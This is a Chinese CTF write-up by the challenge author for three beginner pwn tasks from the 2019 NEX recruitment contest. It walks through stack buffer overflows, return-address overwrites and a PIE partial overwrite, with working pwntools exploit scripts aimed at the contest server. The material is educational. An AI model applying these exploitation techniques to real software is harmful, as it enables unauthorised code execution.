2019-NEX招新赛-writeup-PWN

  1. 前言
  2. 基础
  3. pwn01_checkin
  4. pwn02_overflowme
  5. pwn03_do_you_know_PIE

前言

所有pwn题目的源代码都开源在了:https://github.com/NEU-NEX/NEXCTF2019

本次招新赛我为萌新准备了四道相当基础的入门题目,好像只放出了三道,有一道运维忘记放了hhh。剩下放出的题目虽然也是基础题,但对于萌新应该不太友好的,要是能都做上基本已经是很不错的水平了。

 

基础

需要掌握的基础其实说起来也并不多,首先就是搞个虚拟机,里面安个ubuntu(最好是1604),大概知道怎么用就可以。其次就是会python,如果你学过任何其他语言,那么python学起来真的是非常快。然后就是C语言和汇编,起码要能看懂他们在干什么。

 

pwn01_checkin

首先丢到IDA里,定位到main函数,一般来说左边这一串就是可以找到main函数的:

1572175200901

然后点进去,F5大法看到IDA给我们生成的伪C代码,得到:

1572175241566

puts是库函数,我们不用去考虑它,重点还是关注由用户所编写的函数,先打开init

1572175347034

大多数题目的init函数都是这么写的,其实只是对IO流的缓冲区做了一些处理,是为了在堆上不产生额外的堆块,不用去在意。

然后去看vuln函数,如其名称一样,应该存在漏洞:

1572175559665

看不懂的地方先忽略,先关注整个程序流程,很简单,给三个变量赋值为1,然后让用户向buf里面读入0x30个字符,之后比较三个变量的和是否为666,是则触发后门得到shell。

乍一看就是一个普通的程序,但是这里是存在很严重的问题。问题发生在向buf读入0x30个字符这里,buf在内存里是一大段连续的内存,但是如果buf这段内存的长度本身小于0x30,但是我们却读入了0x30个字符,那么会发生什么呢?

所以首先需要考虑一个问题:

  • 问:buf这个变量有多长我是这怎么知道的?

  • 答:我的习惯是看rbp指针:

    1572176002336

    rbp称为栈基指针,指向栈空间底部,这些rbp的含义是在告诉你这些内存中连续的变量和rbp当前值的偏移值,所以buf的长度可以这么计算:

    0x30 - 0xc = 0x24

所以再回到之前的问题上,如果向buf读入了0x30个字符会发生什么问题呢,答案就是会覆盖掉它下面的值,比如v2,v3,v4的数值。知道了这一步,那么我们就有机会改掉他们的数值,让其和等于666来触发后门。

所以可以构造这么一个字符串,填满buf,然后把v2覆盖成664就可以达成条件了。

那么就需要用到我们的神器–pwntools,这是一系列的工具以及python的一个库,目前对Ubuntu1604+python2.7.x是支持最好的

现在linux下一条命令即可下载:

pip install pwntools

一个简单的模板如下:

from pwn import *                            # 导入pwn库
context(arch = 'amd64', os = 'linux')        # 一些配置,32位-i386,64位-amd64,可不加
context.terminal = ['tmux', 'splitw', '-h']  # 设置终端类型,可以不加   
context.log_level = "debug"                  # 加了这个可以清晰地显示中间的IO过程

p = process("./pwn")                         # 本地运行某程序进行交互,程序路径写在括号中
# p = remote(ip, port)                       # 远程交互,ip地址是字符串,port是数字

# ...
# some exploite code
# ...

p.interactive()                              # 程序没运行完,可以手动交互,必须有这句

关于pwntools的一些IO交互的代码很简单,自行百度就行了,这里只说一下send()sendline()的区别:

from pwn import *

p = process("./pwn")

p.send("aaa")      # 写的是什么字符串,发的就是什么字符串。

p.sendline("aaa")  # 会在末尾补上"\n"再发送,相当于替你敲了一下回车,等于 p.send("aaa\n")

p.interactive()

一般来说推荐使用send(),因为对pwn这种精工细活来说,每一个字节都十分重要,失之毫厘差之千里。

这里还有个问题,把buf填充满很简单,写0x24个字符a就可以了,但是怎么把v2覆盖成664?因为按照之前的计算长度方式,v2长度是四个字节。

计算机是按照小端序的结构存储数据的,具体可以自行了解,简单来说就是你理解的数据和计算机理解的数据长得不一样。

很明显我们要覆盖一个四字节的数据,让其被计算机理解为666,也就是0x0000029a,用到上面的小端序,实际上我们要输入的字符是“\x9a\x02\x00\x00”,这样确实可以,不过每次这么算也确实不太方便,一不小心还容易弄错顺序,所以pwntools帮我们封装好了一组函数:p32(),p64(),u32(),p64()…用来将这样的数据相互转换,p是pack,打包,将数字转化成小端序字符串;u是unpack,解包,将小端序字符串转化成数字

 

所以就可以写出第一个pwn的exp了:

from pwn import *
context(arch = 'amd64', os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"

# p = process("./pwn")
p = remote("handsomedog.top", 9001)

payload = "a" * 0x24 + p32(664)

p.recv()
p.send(payload)

p.interactive()

本地运行拿到shell:

1572178490824

远程运行也成功:

1572178611753

 

pwn02_overflowme

依然IDA F5大法,其他长得都一样,看vuln:

1572178915409

嗯,没了。

还是用上面介绍的方法,可以看出buf长度0x20,但是read可以读入0x100的字节。很容易想到还是输入超过0x20长度的字符,然后覆盖一些东西。这次看不到其他变量可以被覆盖了,我们覆盖的是什么呢?

这里用到的知识点叫做栈帧(stack frame)

考虑这么一件事,刚才那个read是在vuln()函数里的,那么我执行vuln()函数之后还要回到main()函数里去执行下一行

1572179252871

所以程序在进入vuln()函数前一定要做的一件事情就是要记录那个“下一行”的地址,因为它执行完vuln()的内容后还要回来。这其实就是用一些指令构造并控制栈帧这个结构来实现的

涉及到的关键指令:call, leave, ret,指针:sp, bp

关于栈帧网上资料很多,请自行查阅,理解之后再继续阅读。

 

 

###############################################################

 

 

所以这回就知道了,buf下面虽然看起来没有变量了,但是栈里面实际上存的依次为buf,rbp指针,ip指针

切换到IDA的汇编窗口看一下,ip存的应该是这个:

1572180018548

我们可以用gdb来查验一下(gdb是linux下的动态调试器,初次接触可能会觉得很反人类,不过确实是个神器)

命令行中用gdb启动pwn2程序:

gdb ./pwn2

IDA里看一下read一结束后的地址:

1572180229624

gdb里下断点:

b *0x4006ea

然后gdb里输入r来运行程序,随便输入点什么:

1572180347956

回车后发现程序断在了这里:

1572180378962

查看一下buf的位置,和rbp的值:

1572180479536

可以看到栈空间中,和栈帧描述以及我们之前的预测是一致的:

1572180556328

所以我们通过buf是可以覆盖到rbp以及ip指针的,那么当执行ret指令的时候,原本是0x400761被传给rip变成了我们可以传递任意值给rip,也就达到了控制程序流程到任意地址的目的

程序里存在后门函数,直接让程序运行到后门函数那里就可以了,后门函数的起始地址:

1572180706224

 

运用第一题提到的小端序和p64()函数就可以写出第二题的exp(用p64()是因为64位程序的地址和指针都是8字节的,上一题用p32()是因为被覆盖的变量是4字节长,和32位地址和指针的长度一致)

from pwn import *
context(arch = 'amd64', os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
#context.log_level = "debug"

#p = process("./pwn2")
p = remote("handsomedog.top", 9002)

payload = "a" * 0x20        # 填满buf
payload += p64(0xdeadbeef)  # 别忘了ip指针之前还有个rbp需要覆盖,覆盖成任何值都可以
payload += p64(0x4006b6)    # backdoor函数的起始地址

p.recv()
p.send(payload)

p.interactive()

远端效果:

1572181008846

 

pwn03_do_you_know_PIE

还是和前面一样的操作,F5大法之后乍一看和pwn2没区别?但是发现原来的exp怎么打也打不通了。

再仔细看看汇编窗口的东西,pwn2是这样的:

1572180018548

pwn3是这样的:

1572181528850

区别在于pwn2是0x400xxx这样的地址,而pwn3变成了0x000xxx这样的地址。

这里其实是因为程序在编译的时候开启了PIE保护,可以用pwntools带的checksec工具查看

1572181798790

有兴趣的可以去了解一下PIE的实现原理以及更细节的东西。

简单来说,没有开启PIE的程序,32位程序的地址都是0x8048xxx这样的地址,64位程序都是0x400xxx这样的地址,这样程序里任何函数,指令的地址永远是固定的,就像pwn2那样。而开启了PIE的程序pwn3,在IDA里可以看到它是从0开始的,相当于一个偏移地址,在运行起来的时候,程序会被动态地赋予一个具有一定随机化的加载基值(这个基地址后12bit一定是0,因为加的是页偏移),然后再加上偏移地址才是运行地址。

可以gdb里看一下pwn2和pwn3的基地址的不同:

1572182436773

1572182460813

所以重新思考一下我们应该覆盖的值:

我们还是在read一结束的时候下断点,先看一下偏移值:

1572182651474

然后在gdb下断点:

b *(0x0000555555554000+0x936)

同样的运行并随便输入数据:

1572182716206

停止后的栈情况:

1572182777854

可以看到,其他的看起来是差不多的。但是这个ip指针的值该覆盖成什么,我们不知道了。但是我们是可以从IDA里知道各个函数的偏移值的。

backdoor的偏移值:

1572183021319

所以如果我们能把第三个箭头这个0x5555555549af 改成0x555555554900,那还是可以去执行backdoor的。认真一点可能会发现,这两个地址只有低8bit是不一样的,所以如果能改掉这最后8bit,也就是一个字节,那么就达到了目的。

这里又要用到小端序这一点了,这里的地址8字节全部展开是这样的:

0x00005555555549af

展开成字符串是这样的”\xaf\x49\x55\x55\x55\x55\x00\x00”。

所以这里用到的技巧就是patial overwrite,就是局部写,只需要通过局部的覆盖把”\xaf”覆盖成”\x00”,

那么程序里解析就会把0x5555555549af 改成0x555555554900,跳到backdoor。

(其实一般情况下需要覆盖两个字节,这时需要爆破一个字节,成功率1/16。不过这道题我降低了难度只需要覆盖一字节即可完成)

 

根据上面所说即可编写exp:

from pwn import *
context(arch = 'amd64', os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
#context.log_level = "debug"

#p = process("./pwn2")
p = remote("handsomedog.top", 9003)

payload = "a" * 0x20        # 填满buf
payload += p64(0xdeadbeef)  # 别忘了ip指针之前还有个rbp需要覆盖,覆盖成任何值都可以
payload += "\x00"           # 通过patial overwrite改成backdoor函数的偏移地址

p.recv()
p.send(payload)

p.interactive()

远端效果:

1572183525405

 

先不写了,之后更新看心情了。-.-


connect 1037178204@qq.com

文章标题:2019-NEX招新赛-writeup-PWN

本文作者:t1an5t

发布时间:2019-10-27, 21:52:33

最后更新:2020-02-29, 22:00:46

原始链接:http://yoursite.com/2019-NEX%E6%8B%9B%E6%96%B0%E8%B5%9B-writeup-PWN/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录